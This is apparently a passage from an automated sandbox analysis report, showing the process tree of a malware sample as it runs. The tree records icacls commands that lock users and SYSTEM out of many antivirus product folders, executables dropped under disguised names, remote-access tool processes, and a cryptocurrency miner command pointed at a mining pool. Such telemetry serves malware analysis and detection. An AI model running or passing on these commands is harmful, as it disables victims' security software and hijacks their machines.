                                                                            PID:1416
                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                              icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:4264
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                            2⤵
                                                                              PID:2392
                                                                              • C:\Windows\System32\Conhost.exe
                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                3⤵
                                                                                  PID:2432
                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                  icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                                  3⤵
                                                                                  • Modifies file permissions
                                                                                  PID:1088
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                2⤵
                                                                                  PID:2808
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    3⤵
                                                                                      PID:1568
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      PID:4268
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                                    2⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3524
                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                      icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                      3⤵
                                                                                      • Modifies file permissions
                                                                                      PID:3512
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                    2⤵
                                                                                      PID:2636
                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                        icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:1196
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                      2⤵
                                                                                        PID:5112
                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                          icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:1672
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                        2⤵
                                                                                          PID:3000
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            3⤵
                                                                                              PID:4344
                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                              icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                              3⤵
                                                                                              • Modifies file permissions
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:4984
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                            2⤵
                                                                                              PID:3308
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                PID:1932
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                              2⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:4856
                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                • Modifies file permissions
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:4236
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                              2⤵
                                                                                                PID:1668
                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                  icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                                  3⤵
                                                                                                  • Modifies file permissions
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:1276
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                                2⤵
                                                                                                  PID:5048
                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                    icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                                    3⤵
                                                                                                    • Modifies file permissions
                                                                                                    PID:4904
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
                                                                                                  2⤵
                                                                                                    PID:2636
                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                      icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                                      3⤵
                                                                                                      • Modifies file permissions
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:2860
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                    2⤵
                                                                                                      PID:2036
                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                        icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                        • Modifies file permissions
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3060
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
                                                                                                      2⤵
                                                                                                        PID:660
                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                          icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:3648
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:4092
                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                          icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:1148
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:3528
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            3⤵
                                                                                                              PID:4264
                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                              icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:3660
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                              PID:3800
                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                • Modifies file permissions
                                                                                                                PID:2952
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
                                                                                                              2⤵
                                                                                                                PID:5112
                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                  icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
                                                                                                                  3⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1088
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                  PID:4728
                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    3⤵
                                                                                                                      PID:1932
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      PID:4344
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:4780
                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                      icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      PID:724
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                      PID:3740
                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                        icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        PID:1668
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                        PID:3044
                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                          icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:1340
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                          PID:3528
                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                            icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                            • Modifies file permissions
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:2952
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                          2⤵
                                                                                                                            PID:4620
                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                              icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:1088
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                              PID:2036
                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:1316
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                                PID:4728
                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                  icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                  • Modifies file permissions
                                                                                                                                  PID:724
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                2⤵
                                                                                                                                  PID:1140
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:212
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:1828
                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                      icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:3352
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny %username%:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:3044
                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                        icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny Admin:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:2380
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:4212
                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                          icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:1640
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:4620
                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                          icacls "C:\Program Files\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:812
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:2036
                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                            icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:4728
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:1668
                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                              icacls "C:\Program Files (x86)\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:2100
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                            2⤵
                                                                                                                                              PID:1340
                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:688
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny %username%:(OI)(CI)(F)
                                                                                                                                              2⤵
                                                                                                                                                PID:1460
                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                  icacls "C:\ProgramData\Doctor Web" /deny Admin:(OI)(CI)(F)
                                                                                                                                                  3⤵
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:1412
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny %username%:(OI)(CI)(F)
                                                                                                                                                2⤵
                                                                                                                                                  PID:1640
                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                    icacls "C:\ProgramData\grizzly" /deny Admin:(OI)(CI)(F)
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:2552
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1316
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      icacls "C:\Program Files (x86)\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:4728
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny %username%:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:2392
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      icacls "C:\Program Files\Cezurity" /deny Admin:(OI)(CI)(F)
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:5048
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:1444
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      icacls "C:\ProgramData\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:1768
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny %username%:(OI)(CI)(F)
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1840
                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                        icacls "C:\Program Files\Common Files\McAfee" /deny Admin:(OI)(CI)(F)
                                                                                                                                                        3⤵
                                                                                                                                                        • Modifies file permissions
                                                                                                                                                        PID:4344
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny %username%:(OI)(CI)(F)
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2468
                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                          icacls "C:\ProgramData\Avira" /deny Admin:(OI)(CI)(F)
                                                                                                                                                          3⤵
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:4444
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny %username%:(OI)(CI)(F)
                                                                                                                                                        2⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:3668
                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                          icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                                          3⤵
                                                                                                                                                          • Modifies file permissions
                                                                                                                                                          PID:1932
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                        2⤵
                                                                                                                                                          PID:3528
                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                            icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            PID:728
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3660
                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                              icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies file permissions
                                                                                                                                                              PID:4220
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny %username%:(OI)(CI)(F)
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2100
                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                3⤵
                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                PID:2636
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2824
                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                  icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:412
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:3044
                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                    icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:2740
                                                                                                                                                                • C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                                  C:\ProgramData\RealtekHD\taskhostw.exe
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:2260
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4352,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:8
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4952
                                                                                                                                                                • C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                  C:\ProgramData\Windows\rutserv.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:224
                                                                                                                                                                  • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                    C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                    PID:4288
                                                                                                                                                                    • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                      C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                      • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                      PID:4484
                                                                                                                                                                  • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                    C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:4224
                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:1952
                                                                                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                                                                                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:2100
                                                                                                                                                                • C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                                  C:\Programdata\RealtekHD\taskhost.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Modifies visiblity of hidden/system files in Explorer
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                  PID:1528
                                                                                                                                                                  • C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                                                    C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:2248
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4456
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /query /fo list
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:1460
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:2380
                                                                                                                                                                          • C:\Windows\system32\ipconfig.exe
                                                                                                                                                                            ipconfig /flushdns
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Gathers network information
                                                                                                                                                                            PID:3452
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c gpupdate /force
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:2036
                                                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                              gpupdate /force
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:872
                                                                                                                                                                            • C:\ProgramData\WindowsTask\MicrosoftHost.exe
                                                                                                                                                                              C:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://178.63.27.180:3333 -u RandomX_CPU --donate-level=1 -k -t4
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              PID:688

                                                                                                                                                                          Network

                                                                                                                                                                          • flag-us
                                                                                                                                                                            DNS
                                                                                                                                                                            8.8.8.8.in-addr.arpa
                                                                                                                                                                            Remote address:
                                                                                                                                                                            8.8.8.8:53
                                                                                                                                                                            Request
